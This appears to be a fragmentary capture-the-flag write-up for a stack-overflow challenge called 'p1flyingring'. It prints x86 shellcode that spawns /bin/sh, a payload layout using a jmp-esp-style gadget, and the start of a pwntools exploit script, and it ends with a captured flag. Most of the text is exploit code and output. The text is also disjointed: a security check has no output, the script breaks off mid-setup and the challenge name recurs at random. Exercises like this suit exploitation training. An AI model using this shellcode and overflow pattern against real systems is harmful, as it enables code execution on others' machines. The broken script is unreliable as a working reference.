Checking security:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 [ padding 0x44 ] [ push_esp_ret_addr ] [ nop sled + shellcode ] 5. Exploit script (Python) #!/usr/bin/env python3 from pwn import * p = process('./p1flyingring') p = remote('target', port) offset = 0x44 push_esp_ret = 0x0804858a p1flyingring
$ cat flag FLAGp1_flying_ring_overflow No NX + no canary + jmp esp gadget → classic stack overflow to shellcode. p1flyingring